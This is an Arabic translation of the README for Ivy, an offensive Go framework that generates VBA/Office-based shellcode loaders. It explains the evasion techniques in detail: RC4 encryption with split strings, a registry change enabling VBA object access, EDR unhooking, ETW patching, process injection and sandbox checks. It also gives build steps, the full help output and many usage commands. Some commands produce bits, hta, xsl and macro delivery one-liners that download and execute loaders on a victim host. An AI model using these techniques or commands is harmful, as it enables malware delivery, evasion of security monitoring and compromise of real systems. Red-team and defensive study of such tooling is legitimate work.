
Ivy هو إطار عمل لإنشاء الحمولات (payloads) يهدف إلى تنفيذ أكواد مصدرية عشوائية بلغة VBA (وحدات الماكرو) مباشرةً في الذاكرة. يحقّق مُحمّل Ivy ذلك من خلال الاستفادة من الوصول البرمجي في بيئة كائنات VBA لتحميل الشيل كود وفك تشفيره وتنفيذه.
لعرض أحدث إصدار من Ivy أو تقديم مشكلة، راجع https://github.com/Tylous/Ivy.
إذا كنت تريد معرفة المزيد عن التقنيات المستخدمة في هذا الإطار وكذلك الإجراءات الدفاعية للمساعدة في الدفاع ضده، يرجى إلقاء نظرة على المقال.
Ivy هو إطار لإنشاء الحمولات لتنفيذ كود مصدر VBA (ماكرو) تعسفي في الذاكرة. يقوم محمل Ivy بذلك عن طريق إساءة استخدام الوصول البرمجي في بيئة كائن VBA لتحميل وفك تشفير وتنفيذ الشيل كود. هذه التقنية هي أقرب ما يمكن إلى كونها حقيقية بدون ملفات، حيث أن معظم الهجمات غير الملفية هذه الأيام تتطلب نوعًا ما من الملفات التي يتم إسقاطها على القرص، ونتيجة لذلك تتجاوز القواعد القياسية القائمة على التوقيع للكشف عن كود VBA. تحتوي حمولات VBA النموذجية على الخصائص التالية:
من خلال العمل في الذاكرة فقط، تجعل هذه الخصائص السلوكية من الصعب اكتشافها بواسطة أنظمة EDR.
يتم تشفير محملات Ivy باستخدام تشفير RC4 (يسبب تشفير AES الكثير من التضخم ويستغرق وقتًا طويلاً لفك تشفيره في VBA) ثم يتم تقسيمها إلى سلاسل منفصلة، مما يمنع أي صندوق رمل من التعرف على هذه السلاسل كسلاسل مشفرة يجب فحصها. يمنع هذا أيضًا أي آلية فك ترميز من التعرف على هذه الحمولات على أنها شيء سوى أحرف غير مرغوب فيها.
يقوم محمل Ivy أولاً بإجراء استعلام في السجل لتمكين "Trust access to the VBA project object mode". يتم تخزين قيمة مفتاح التسجيل هذه في وضع المستخدم مما يسمح للمستخدم بتعديل القيمة دون الحاجة إلى أي صلاحيات مرتفعة. يتم تعيين قيمة التسجيل من صفر إلى 1؛ إذا كان مفتاح التسجيل غير موجود، سيقوم Ivy بإنشائه بقيمة "1". مع تمكين هذه القيمة، يُسمح بالوصول البرمجي إلى بيئة كائن VBA من عملية مختلفة.
بمجرد القيام بذلك، سيقوم المحمل بعد ذلك بتشغيل عملية Excel مخفية وتحميل السلاسل المشفرة في دالة VBA. يتم ذلك باستخدام ActiveX لمحاكاة إجراءات واجهة المستخدم الرسومية للقيام بنفس المهمة. يساعد هذا في تجاوز الكثير من الضوابط التقليدية الموضوعة لمراقبة التنفيذ. نتيجة لذلك، يتم نقل دالة فك التشفير والشيل كود من مخزن مؤقت إلى آخر، دون لمس القرص أبدًا. أخيرًا، يستخدم المحمل استدعاءات command-GUI وينفذ دالة التشغيل، والتي تحاكي فعل النقر على زر تشغيل الماكرو في لوحة واجهة المستخدم الرسومية لـ VBA، وبدء دالة فك التشفير، تليها التنفيذ الفعلي للشيل كود.
مهم
يجب أن يكون Microsoft Office مثبتًا ومفعلًا على نقطة النهاية المستهدفة لكي يعمل، لأن Ivy يعتمد على إساءة استخدام الوصول البرمجي إلى بيئة VBA الخاصة بـ Microsoft Office.
يسمح هذا لـ Ivy باستخدام استدعاءات نظام منخفضة المستوى لبناء نسخته الخاصة من دالة Windows WriteProcessMemory من خلال الإشارة إلى عنوان الذاكرة المباشر وقيم السجلات بشكل غير مباشر. يمكن لـ Ivy الكتابة فوق أجزاء من الذاكرة غير قابلة للكتابة دون استدعاء أي من وظائف API لتغيير الذاكرة. يتم ذلك بسبب ميزة في WriteProcessMemory التي تغير مؤقتًا صلاحيات منطقة الذاكرة لتكون قابلة للكتابة (إذا كان لديك صلاحيات كافية، وهو ما نملكه لأننا نملك العملية). يقوم بكتابة القيمة واستعادة الصلاحيات الأصلية دون استدعاء دالة VirtualProtect، بدلاً من ذلك يستدعي تلقائيًا syscall المرتبط (NtProtectVirtualMemory).
لا تستخدم Ivy نسختها الخاصة من NtWriteVirtualMemory لأن هذه العملية لتغيير صلاحيات الذاكرة مؤقتًا لن تحدث، مما يعني أن حماية عنوان الذاكرة المحدد لن يتم تعديلها وسيفشل التنفيذ. هذه "ميزة" أصدرتها Microsoft لجعل المصححات أكثر استقرارًا. حيث أن المصححات ترغب في تعديل الذاكرة بسرعة، يمكنها ببساطة تعديل قسم دون الحاجة إلى أداء مهام متعددة. (راجع devblogs.microsoft.com للحصول على معلومات)
دعنا نلقي نظرة على سلسلة الأحداث التي سيراها EDR:
بمجرد التخلص من جميع خطافات EDR، يقوم المحمل بعد ذلك بتنفيذ إجراءه الطبيعي لإنشاء جلسة عن بعد.
يعالج Ivy هذا عن طريق إلغاء ربط ملفات DLL النظام الشائعة التي تربطها EDR، وتشمل هذه:
عند استخدام unhook مع نوع حمولة Inject، سيقوم محمل Ivy أولاً بإلغاء ربط عملية Office وإزالة EDR منها ثم إزالة الخطافات في العملية المحقونة. يضمن هذا أن كلا العمليتين خاليتان من الخطافات، مما يمنع أي تتبع من العملية الأم والتابعة من الإرسال إلى EDR.
باستخدام نفس التقنية لإلغاء الربط، يمكن لـ Ivy تصحيح وظائف ETW، مما يمنع أي حدث من التوليد بواسطة العملية. يستخدم ETW استدعاءات نظام مدمجة لتوليد هذا التتبع. نظرًا لأن ETW ميزة أصلية مدمجة في Windows، لا تحتاج منتجات الأمان إلى "ربط" استدعاءات نظام ETW للحصول على المعلومات. نتيجة لذلك، لمنع ETW، يقوم Ivy بتصحيح العديد من استدعاءات نظام ETW، وتطهير السجلات وإعادة تدفق التنفيذ إلى التعليمات التالية. أصبح تصحيح ETW الآن افتراضيًا في جميع المحملات، إذا كنت ترغب في عدم تصحيح ETW فاستخدم خيار سطر الأوامر -noetw لتعطيله في المحمل الخاص بك.
تم تطوير Ivy باستخدام Go.
الخطوة الأولى كالعادة هي استنساخ المستودع. قبل تجميع Ivy، ستحتاج إلى تثبيت التبعيات. لتثبيتها، قم بتشغيل الأوامر التالية:
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
ثم قم ببنائه
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
عند إنشاء محمل باستخدام Ivy، تحتاج إلى إنشاء حمولة 64 بت و32 بت وإدخالها باستخدام وسيطات سطر الأوامر -Ix64 و -Ix86. وذلك لأن نظام التشغيل قد يكون 64 بت ولكن إصدار Office قيد التشغيل قد يكون في الواقع 32 بت؛ نتيجة لذلك سيكتشف Ivy البنية المناسبة للاستخدام قبل حقن الحمولة.
بالإضافة إلى ذلك، عند إنشاء محمل هناك نوعان من الحمولات. الأول، Inject، يقوم بهجوم حقن العملية حيث يتم إنشاء عملية جديدة في حالة معلقة ويتم حقن الشيل كود في العملية، قبل استئنافها. بينما يمكن أن يكون حقن العملية مفيدًا ويولد عملية غير تابعة لـ Excel، فإن أنظمة EDR ماهرة جدًا في اكتشاف فعل إنشاء عملية معلقة للحقن فيها، مما قد يؤدي إلى اكتشافنا. الخيار الأكثر خفاءً هو Local. يقوم هذا بتحميل الشيل كود مباشرة في عملية Office الحالية. يأتي خيار Local أيضًا بميزات إضافية لتجنب الكشف، باستخدام استدعاءات مباشرة لبعض استدعاءات النظام في Windows. هذا بسبب أن بيئة VBA تسمح لنا بتعريف واستدعاء الدالة بالضبط (بشرط أن نكون قد رتبنا جميع السجلات الصحيحة مسبقًا) بناءً على المكدس. أخيرًا، يحتوي محمل Ivy في هذا النوع من الحمولة على استدعاء غير موثق لتنفيذ الشيل كود، مما يجعل اكتشاف التنفيذ أكثر صعوبة.
مع وضع Inject، سيقوم Ivy بإنشاء عملية في حالة معلقة لحقن الشيل كود فيها. اعتمادًا على ما إذا كان النظام 32 بت أو 64 بت، سيقوم بتشغيل عملية مختلفة. يأتي Ivy مع بعض أسماء العمليات الافتراضية للتشغيل، ومع ذلك يمكن تغييرها باستخدام العلامات process32 أو process64. عند تحديد المسار تأكد من استخدام \\ للمسار.
أولاً، يجب عليك دائمًا استخدام الوسيطة -stageless. ومع ذلك، إذا كنت بحاجة مطلقًا إلى تشغيل حمولة ذات مراحل يمكنك القيام بذلك بعدم استخدام الوسيطة -stageless. عند استخدام -stageless يمكنك استخدام شيل كود خام، ومع ذلك، عندما تختار تشغيل حمولة ذات مراحل فمن المهم أنه بالنسبة لأنواع الحمولات Inject يجب أن يكون الشيل كود منسقًا بصيغة VBA وبالنسبة لأنواع Local يجب أن يكون الشيل كود منسقًا بصيغة C.
تتيح لك وسيطة سطر الأوامر delivery إنشاء أمر أو سلسلة من الكود (في حالة الماكرو) لسحب الملف عن بعد من مصدر بعيد إلى مضيف الضحية. تشمل طرق التسليم هذه:
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
حاليًا هناك مشكلة معروفة تتعلق بإلغاء ربط العملية المحقونة عن بعد. الحل البديل الحالي هو تحميل BOF unhook في الوقت الحالي.